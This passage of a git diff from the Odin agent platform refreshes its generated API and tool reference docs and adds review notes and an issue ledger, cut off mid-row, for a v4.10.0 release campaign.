| — | -| GET | /api/recovery/recent | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L444) | Yes | — | -| GET | /api/freshness/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L459) | Yes | — | -| GET | /api/freshness/recent | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L466) | Yes | — | -| GET | /api/validation/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L481) | Yes | — | +| GET | /api/recovery/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L447) | Yes | — | +| GET | /api/recovery/recent | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L454) | Yes | — | +| GET | /api/freshness/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L469) | Yes | — | +| GET | /api/freshness/recent | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L476) | Yes | — | +| GET | /api/validation/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L491) | Yes | — | | GET | /api/learned | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L525) | Yes | — | | DELETE | /api/learned/{key} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L531) | Yes | — | | PUT | /api/learned/{key} | [src.web.api.knowledge_mem](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/knowledge_mem.py#L538) | Yes | — | -| GET | /api/affordances | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L495) | Yes | — | -| GET | /api/compression/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L507) | Yes | — | -| GET | /api/startup/diagnostics | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1214) | Yes | — | -| GET | /api/subsystems/status | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L541) | Yes | — | -| GET | /api/agent-trajectories | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L488) | Yes | — | -| GET | /api/agent-trajectories/agent/{agent_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L496) | Yes | — | -| GET | /api/agent-trajectories/search/query | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L507) | Yes | — | -| GET | /api/agent-trajectories/{filename} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L526) | Yes | — | -| GET | /api/outbound-webhooks | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L738) | Yes | — | -| POST | /api/outbound-webhooks | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L745) | Yes | — | -| PUT | /api/outbound-webhooks/{webhook_id} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L786) | Yes | — | -| DELETE | /api/outbound-webhooks/{webhook_id} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L825) | Yes | — | -| POST | /api/outbound-webhooks/{webhook_id}/test | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L839) | Yes | — | -| GET | /api/outbound-webhooks/stats | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L850) | Yes | — | +| GET | /api/affordances | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L505) | Yes | — | +| GET | /api/compression/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L517) | Yes | — | +| GET | /api/startup/diagnostics | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1215) | Yes | — | +| GET | /api/subsystems/status | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L551) | Yes | — | +| GET | /api/agent-trajectories | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L512) | Yes | — | +| GET | /api/agent-trajectories/agent/{agent_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L520) | Yes | — | +| GET | /api/agent-trajectories/search/query | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L531) | Yes | — | +| GET | /api/agent-trajectories/{filename} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L550) | Yes | — | +| GET | /api/outbound-webhooks | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L651) | Yes | — | +| POST | /api/outbound-webhooks | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L658) | Yes | — | +| PUT | /api/outbound-webhooks/{webhook_id} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L699) | Yes | — | +| DELETE | /api/outbound-webhooks/{webhook_id} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L738) | Yes | — | +| POST | /api/outbound-webhooks/{webhook_id}/test | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L752) | Yes | — | +| GET | /api/outbound-webhooks/stats | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L763) | Yes | — | | GET | /api/turn-state/turns | [src.web.api.turn_state](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/turn_state.py#L55) | Yes + local | — | | GET | /api/turn-state/capacity-breakers | [src.web.api.turn_state](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/turn_state.py#L86) | Yes + local | — | @@ -260,22 +254,20 @@ Registered by [HealthServer](https://github.com/Calmingstorm/Odin/blob/e1318eca8 | Method | Path | Owning module / handler source | Registration / access | Purpose | | --- | --- | --- | --- | --- | -| GET | /health | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1257) | HealthServer construction; no API authentication | Combined health endpoint. | -| GET | /health/live | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1315) | HealthServer construction; no API authentication | Liveness probe — always 200 if the process is running. | -| GET | /health/ready | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1324) | HealthServer construction; no API authentication | Readiness probe — 200 only when the bot is fully initialised. | -| GET | /metrics | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1350) | HealthServer construction; no API authentication | Prometheus metrics endpoint. | -| POST | /webhook/gitea | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1444) | webhooks.enabled; handler verifies webhook signature/shared secret | — | -| POST | /webhook/grafana | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1492) | webhooks.enabled; handler verifies webhook signature/shared secret | — | -| POST | /webhook/generic | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1567) | webhooks.enabled; handler verifies webhook signature/shared secret | — | -| POST | /webhook/github | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1590) | webhooks.enabled; handler verifies webhook signature/shared secret | — | -| POST | /webhook/gitlab | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1663) | webhooks.enabled; handler verifies webhook signature/shared secret | — | -| GET | / | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1051) | web.enabled + UI directory exists; no API authentication | Redirect / to /ui/. | -| GET | /ui/{path:.*} | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1055) | web.enabled + UI directory exists; no API authentication | Serve static UI files, defaulting to index.html for SPA routing. | -| GET | /ui | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1051) | web.enabled + UI directory exists; no API authentication | Redirect / to /ui/. | -| GET | /api/ws | [src.web.websocket](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/websocket.py#L462) | web.enabled + set_bot; authenticated, not admin-only; scoped subscriptions | Handle a WebSocket connection at /api/ws. | +| GET | /health | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1101) | HealthServer construction; no API authentication | Combined health endpoint. | +| GET | /health/live | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1159) | HealthServer construction; no API authentication | Liveness probe — always 200 if the process is running. | +| GET | /health/ready | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1168) | HealthServer construction; no API authentication | Readiness probe — 200 only when the bot is fully initialised. | +| POST | /webhook/gitea | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1271) | webhooks.enabled; handler verifies webhook signature/shared secret | — | +| POST | /webhook/generic | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1319) | webhooks.enabled; handler verifies webhook signature/shared secret | — | +| POST | /webhook/github | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1342) | webhooks.enabled; handler verifies webhook signature/shared secret | — | +| POST | /webhook/gitlab | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L1415) | webhooks.enabled; handler verifies webhook signature/shared secret | — | +| GET | / | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L931) | web.enabled + UI directory exists; no API authentication | Redirect / to /ui/. | +| GET | /ui/{path:.*} | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L935) | web.enabled + UI directory exists; no API authentication | Serve static UI files, defaulting to index.html for SPA routing. | +| GET | /ui | [src.health.server](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/health/server.py#L931) | web.enabled + UI directory exists; no API authentication | Redirect / to /ui/. | +| GET | /api/ws | [src.web.websocket](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/websocket.py#L476) | web.enabled + set_bot; authenticated, not admin-only; scoped subscriptions | Handle a WebSocket connection at /api/ws. | ### Conditional registration -The constructor always registers health/metrics, independently of the WebUI and webhook switches. Webhooks are registered only when `webhooks.enabled`. The UI requires `web.enabled` and an existing UI directory: it prefers `ui/dist` when `ui/dist/index.html` exists, otherwise falls back to `ui`; if the selected directory is absent, no UI routes are registered. The static file handler falls back to `index.html` for SPA routing. `HealthServer.set_bot` adds all REST routes and the WebSocket only when `web.enabled`; constructing the server alone does not add them. There is no `setup_web_api` function in this source revision. +The constructor always registers health endpoints, independently of the WebUI and webhook switches. Webhooks are registered only when `webhooks.enabled`. The UI requires `web.enabled` and an existing UI directory: it prefers `ui/dist` when `ui/dist/index.html` exists, otherwise falls back to `ui`; if the selected directory is absent, no UI routes are registered. The static file handler falls back to `index.html` for SPA routing. `HealthServer.set_bot` adds all REST routes and the WebSocket only when `web.enabled`; constructing the server alone does not add them. There is no `setup_web_api` function in this source revision. Regenerate with `python scripts/docs/generate_api_reference.py`; verify without writing with `python scripts/docs/generate_api_reference.py --check`. Generation uses mocked bot dependencies and UI existence checks, never loads runtime configuration or persisted data, and never invokes handlers. diff --git a/docs/reference/tools.md b/docs/reference/tools.md index 7cc34336d..2fd92a901 100644 --- a/docs/reference/tools.md +++ b/docs/reference/tools.md @@ -151,10 +151,9 @@ Source: [`src/tools/defs/media_scheduling.py`](https://github.com/Calmingstorm/O | cron_timezone | string | No | IANA timezone for the cron expression (e.g. 'America/New_York'). The task fires on that timezone's wall clock across DST. Defaults to UTC. | | run_at | string | No | Offset-aware ISO datetime for one-time tasks (e.g. '2026-03-20T09:00:00Z'). Use parse_time to convert natural language. Omit for recurring. | | trigger | object | No | Webhook trigger (AND logic). E.g. {"source": "github", "event": "push", "repo": "myproject"}.
Constraints: {"additionalProperties":false} | -| trigger.source | string | No | Webhook source to match
Constraints: {"enum":["gitea","grafana","generic","github","gitlab"]} | +| trigger.source | string | No | Webhook source to match
Constraints: {"enum":["gitea","generic","github","gitlab"]} | | trigger.event | string | No | Event type (e.g. 'push', 'pull_request', 'alert') | | trigger.repo | string | No | Repository name substring (case-insensitive) | -| trigger.alert_name | string | No | Grafana alert name substring (case-insensitive) | | action | string | Yes | 'reminder' = post message, 'check' = run_command check, 'digest' = infrastructure digest, 'workflow' = multi-step tool chain
Constraints: {"enum":["reminder","check","digest","workflow"]} | | message | string | No | For reminders: the message to post | | tool_name | string | No | Tool to run for 'check' action (e.g. 'run_command') | @@ -195,10 +194,9 @@ No input properties. | cron_timezone | string | No | IANA timezone for the cron expression (e.g. 'America/New_York'). Defaults to UTC. | | run_at | string | No | New offset-aware ISO datetime for one-time (replaces previous timing) | | trigger | object | No | New webhook trigger (replaces previous timing)
Constraints: {"additionalProperties":false} | -| trigger.source | string | No |
Constraints: {"enum":["gitea","grafana","generic","github","gitlab"]} | +| trigger.source | string | No |
Constraints: {"enum":["gitea","generic","github","gitlab"]} | | trigger.event | string | No | — | | trigger.repo | string | No | — | -| trigger.alert_name | string | No | — | | message | string | No | New message (for reminder actions) | | tool_name | string | No | New tool name (for check actions) | | tool_input | object | No | New tool input parameters | @@ -207,6 +205,8 @@ No input properties. | steps[].tool_name | string | Yes | — | | steps[].tool_input | object | No | — | | steps[].description | string | No | — | +| steps[].condition | string | No | Run if previous output contains this (! to negate) | +| steps[].on_failure | string | No | Default: abort
Constraints: {"enum":["abort","continue"]} | | channel_id | string | No | New channel ID for notifications | | paused | boolean | No | Pause (true) or resume (false) the schedule | @@ -293,12 +293,15 @@ Source: [`src/tools/defs/memory_skills.py`](https://github.com/Calmingstorm/Odin
Creates a skill (custom tool) from Python code. Available immediately.
 Define: async def execute(inp: dict, context: SkillContext) -> str
 
-SkillContext methods (all async):
+SkillContext async methods (await these):
 - run_on_host(alias, cmd), read_file(host, path)
 - execute_tool(name, input), http_get(url), http_post(url, json=)
 - post_message(text), post_file(data, filename, caption)
 - search_knowledge(query), ingest_document(content, source), search_history(query)
-- remember(key, value), recall(key), schedule_task(...), get_hosts(), log(msg)
+- schedule_task(...)
+SkillContext synchronous methods (do not await):
+- remember(key, value) saves memory and returns None; recall(key) reads memory
+- get_hosts(), log(msg) (log writes a message and returns None)
 See data/skills/*.template.

[affordances: risk=high]

diff --git a/docs/reviews/v4.10.0-campaign-gates.md b/docs/reviews/v4.10.0-campaign-gates.md new file mode 100644 index 000000000..2d89b6756 --- /dev/null +++ b/docs/reviews/v4.10.0-campaign-gates.md @@ -0,0 +1,44 @@ +# v4.10.0 campaign integration validation + +All 200 in-scope issue lanes are implemented and the integrated local gates +pass. The stable code/test snapshot qualified here is +`82b3cc9f4ceedd05c42aaea8cc30b8df0538de11`; subsequent ledger edits only record +these results. This is review-ready implementation evidence, not approval to +merge or release. No issues have been closed. + +## Final observed gate results + +- Full suite with six workers and root-source coverage: **22,060 passed, + 24 skipped, zero failures/errors**, in 736.61 seconds. There were 1,339 + warnings, including dependency deprecations and subprocess/async fixture + warnings; a passing exit is not a warning-free claim. +- Coverage ratchet: **350 gated files, zero findings**, 94.5% aggregate + coverage (aggregate reported, not gated). Numerical thresholds and + missed-line ceilings were not relaxed. Only entries for the two physically + deleted monitoring modules were removed. +- Lint ratchet: **zero new findings**, zero head findings. +- Type ratchet: **zero new findings**, two pre-existing browser diagnostics + remain at both the base and head. +- Config apply classification: **zero findings**, 310 leaves classified. +- Integrated `npm run check` passed, including real browser regressions and + the committed production build. Generated API/tool references were refreshed. +- `git diff --check` passed; the build introduced no uncommitted tracked files. + +## Integration follow-ups + +- Process cleanup/retention fixtures now model inert supervisor settlement, + not fabricated successful cleanup. Missing handles remain unknown; group + proof is not published before leader reaping. Shutdown still refuses + unproven cleanup. Remote group-only proof remains explicitly limited. +- Hyprland stale-frame teardown captures a scalar clock deadline before the + session retires; it no longer dereferences a removed live session. +- Added behavior tests for uncovered production branches across config, + scheduling, providers, authorization, evidence, skills, web APIs and computer + storage. The coverage ratchets themselves were not weakened. +- #490 follows the approved consistent `odin` API-client default. Config-file, + `-c`, `--config` and `--env-file` invocations fail before network dispatch + with `odin-server` migration guidance; wheel/package roles are tested. + +No master merge, deploy, service restart, release-pipeline dispatch or live +configuration change was performed. Skipped platform cases and lack of live +deployment testing remain explicit limits on this validation. diff --git a/docs/reviews/v4.10.0-campaign-round1.md b/docs/reviews/v4.10.0-campaign-round1.md new file mode 100644 index 000000000..7838957c7 --- /dev/null +++ b/docs/reviews/v4.10.0-campaign-round1.md @@ -0,0 +1,21 @@ +# v4.10.0 campaign review round 1 + +Review baseline: `a978f193`. All changes remain on `campaign/v4.10.0-review` +and PR #629. No issue closure or live qualification is claimed. + +| Finding | Commit | Correction and regression evidence | +| --- | --- | --- | +| F1 | `d997dc58` | Removed `grafana_alerts` is silently tolerated; real config loading proves no rewrite or false typo warning. | +| F2 | `d997dc58` | Security headers are applied to the original HTTP exception before re-raising; HTTP client and direct middleware tests preserve status, redirect and identity without the deprecated return. | +| F3 / #511 | `f293b000` | Ledger-confirmed emergency release atomically archives and clears `unknown_release`, leaving a reopenable paused session. New consent/observation can proceed after close; native continuity loss retains quarantine. Tests cover continuation, reopen, rollback and changed incidents. | +| F4 / #603 | `3cb69a64` | Successful SSH internal and executor recovery retries return success while preserving `uncertain_outcome`; final failed exit codes remain failures. Eight dedicated tests exercise real handlers and retry paths with transport-boundary fakes. | +| F5 / #548, #549 | `2b06c963` | Verified-empty remote groups settle cleanly with `process_group_only` caveats. Actual supervisor/controller fixtures cover exit, nonzero exit, kill, already-exited, legacy evidence and genuine unknown failures. | +| F6 / #480 | `caf9d3be` | Exact durable legacy PDF text is reused without duplication. Historical imports did not retain original URLs, so changed/unverifiable basename content returns an actionable explicit-source conflict rather than overwriting an unrelated same-basename document. Tests use real SQLite, FTS and snapshots. | +| F7 / #440 | `c951183f` | Overview docs link generated inventories rather than pin stale counts; all four computer-use handoffs are named and verified against packaging. API references regenerated at `5f36db66` after middleware source line shifts. | + +## Verification + +Workers ran touched suites as they implemented changes. Parent integration runs +the complete plain and instrumented suites plus unchanged lint, type, +configuration-classification and UI gates. Final outcomes are recorded below +after those runs complete; ratchets are not weakened. diff --git a/docs/reviews/v4.10.0-campaign.md b/docs/reviews/v4.10.0-campaign.md new file mode 100644 index 000000000..9d9518403 --- /dev/null +++ b/docs/reviews/v4.10.0-campaign.md @@ -0,0 +1,222 @@ +# v4.10.0 campaign issue ledger + +Snapshot: 2026-09-29. This ledger maps all 200 in-scope issues to original implementation commits, regression files, and implementation notes. **Integrated local gates now pass at `82b3cc9f`: 22,060 tests passed, 24 skipped, no coverage/lint/type regressions.** Historical per-row phrases saying full campaign gates remain pending describe the original worker checkpoint and are superseded by `v4.10.0-campaign-gates.md`. No issue closure, live deployment qualification or release approval is claimed. + +| Issue | Original worker commit | Regression file(s) | Status and implementation note | +|---:|---|---|---| +| [#409](https://github.com/Calmingstorm/Odin/issues/409) | `7bb705d27061ea20f59db9422f7561a73db11e2f` (remaining) | `tests/test_agent_campaign.py`; `tests/test_agent_repetition.py` | Implemented; Repeat prevention hashes full canonical scrubbed evidence, not envelope IDs or previews; changed hidden evidence resets the guard. | +| [#410](https://github.com/Calmingstorm/Odin/issues/410) | `7bb705d27061ea20f59db9422f7561a73db11e2f` (remaining) | `tests/test_agent_campaign.py`; `tests/test_agent_lifecycle.py` | Implemented; Cancellation before coroutine entry settles to a durable killed trajectory and frees active capacity without callbacks. | +| [#616](https://github.com/Calmingstorm/Odin/issues/616) | `7bb705d27061ea20f59db9422f7561a73db11e2f` (remaining) | `tests/test_agent_campaign.py`; `tests/test_agent_auto_dynamic.py` | Implemented; Default Codex agent catalog honors authored model-selection hints; unauthored defaults remain compatible. | +| [#411](https://github.com/Calmingstorm/Odin/issues/411) | `d330c9d2ab2cb761211942291e7a839f7202e202` (scheduler) | `tests/test_campaign_scheduler_admission.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Queued cron, one-time and webhook work rechecks schedule identity/presence/pause state at publication; paused manual override preserved. | +| [#412](https://github.com/Calmingstorm/Odin/issues/412) | `d330c9d2ab2cb761211942291e7a839f7202e202` (scheduler) | `tests/test_campaign_scheduler_admission.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Reject trigger subscriptions with no effective condition; allow null optional filters on valid subscriptions. | +| [#413](https://github.com/Calmingstorm/Odin/issues/413) | `d330c9d2ab2cb761211942291e7a839f7202e202` (scheduler) | `tests/test_campaign_scheduler_admission.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Validate trigger filters as string/null and isolate malformed schedules so valid siblings still receive events. | +| [#414](https://github.com/Calmingstorm/Odin/issues/414) | `dffe2f3ceee44e80641062b9b0d43b79180c7242` (scheduler) | `tests/test_campaign_scheduler_time.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Choose next clock-only DST-fold instant by UTC future comparison. | +| [#415](https://github.com/Calmingstorm/Odin/issues/415) | `dffe2f3ceee44e80641062b9b0d43b79180c7242` (scheduler) | `tests/test_campaign_scheduler_time.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Reject invalid AM/PM hours outside 1–12; preserve valid noon/midnight. | +| [#433](https://github.com/Calmingstorm/Odin/issues/433) | `666a258e33402d1ba6bdb3eed2866b67eedfc5e7` (scheduler) | `tests/test_campaign_scheduler_workflows.py`; `tests/test_strict_nested_payload.py`; `tests/test_strict_tool_adapter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Evaluate positive/negated workflow conditions even after empty successful output. | +| [#606](https://github.com/Calmingstorm/Odin/issues/606) | `666a258e33402d1ba6bdb3eed2866b67eedfc5e7` (scheduler) | `tests/test_campaign_scheduler_workflows.py`; `tests/test_strict_nested_payload.py`; `tests/test_strict_tool_adapter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Preserve scheduled native errors as failures, not successful ToolResults; structured metadata retained. | +| [#610](https://github.com/Calmingstorm/Odin/issues/610) | `666a258e33402d1ba6bdb3eed2866b67eedfc5e7` (scheduler) | `tests/test_campaign_scheduler_workflows.py`; `tests/test_strict_nested_payload.py`; `tests/test_strict_tool_adapter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Respect per-tool background host semantics; do not inject requester defaults into local/required-host tools. | +| [#611](https://github.com/Calmingstorm/Odin/issues/611) | `666a258e33402d1ba6bdb3eed2866b67eedfc5e7` (scheduler) | `tests/test_campaign_scheduler_workflows.py`; `tests/test_strict_nested_payload.py`; `tests/test_strict_tool_adapter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Validate nested selected skill inputs against dynamic skill schema before execution. | +| [#416](https://github.com/Calmingstorm/Odin/issues/416) | `dffe2f3ceee44e80641062b9b0d43b79180c7242` (scheduler) | `tests/test_campaign_scheduler_time.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Accept 24-hour clock followed by day text. | +| [#417](https://github.com/Calmingstorm/Odin/issues/417) | `d330c9d2ab2cb761211942291e7a839f7202e202` (scheduler) | `tests/test_campaign_scheduler_admission.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Stamp automatic retries with retry-attempt time while preserving rollback semantics. | +| [#615](https://github.com/Calmingstorm/Odin/issues/615) | `666a258e33402d1ba6bdb3eed2866b67eedfc5e7` (scheduler) | `tests/test_campaign_scheduler_workflows.py`; `tests/test_strict_nested_payload.py`; `tests/test_strict_tool_adapter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Expose condition and on_failure in update_schedule step schema. | +| [#418](https://github.com/Calmingstorm/Odin/issues/418) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Production DeepSeek construction and reload use the context-overflow classifier. +| [#419](https://github.com/Calmingstorm/Odin/issues/419) | `6ee33890ac0ccc71d64beb1762c3b5bb56746216` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Codex incomplete responses fail visibly, preserve complete partial text, and are never retried away. +| [#420](https://github.com/Calmingstorm/Odin/issues/420) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Ollama length termination is incomplete; empty tool-less output is an error while complete long output is unchanged. +| [#421](https://github.com/Calmingstorm/Odin/issues/421) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Schema sanitization preserves keyword-named properties and nested name maps. +| [#422](https://github.com/Calmingstorm/Odin/issues/422) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. One-token auxiliary qualification accepts expected truncated/empty probes; normal chat remains strict. +| [#424](https://github.com/Calmingstorm/Odin/issues/424) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. OpenRouter context and output ceilings fit every permitted route and retain route provenance. +| [#503](https://github.com/Calmingstorm/Odin/issues/503) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Pending agent display uses the selected agent provider/model and reasoning defaults. +| [#540](https://github.com/Calmingstorm/Odin/issues/540) | `6ee33890ac0ccc71d64beb1762c3b5bb56746216` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Circuit breaker reserves one half-open probe through retry settlement and releases correctly on cancel/error. +| [#559](https://github.com/Calmingstorm/Odin/issues/559) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Canonical main-model selection reaches compatible/Ollama requests and covered handoff paths; Kimi ignore policy remains. +| 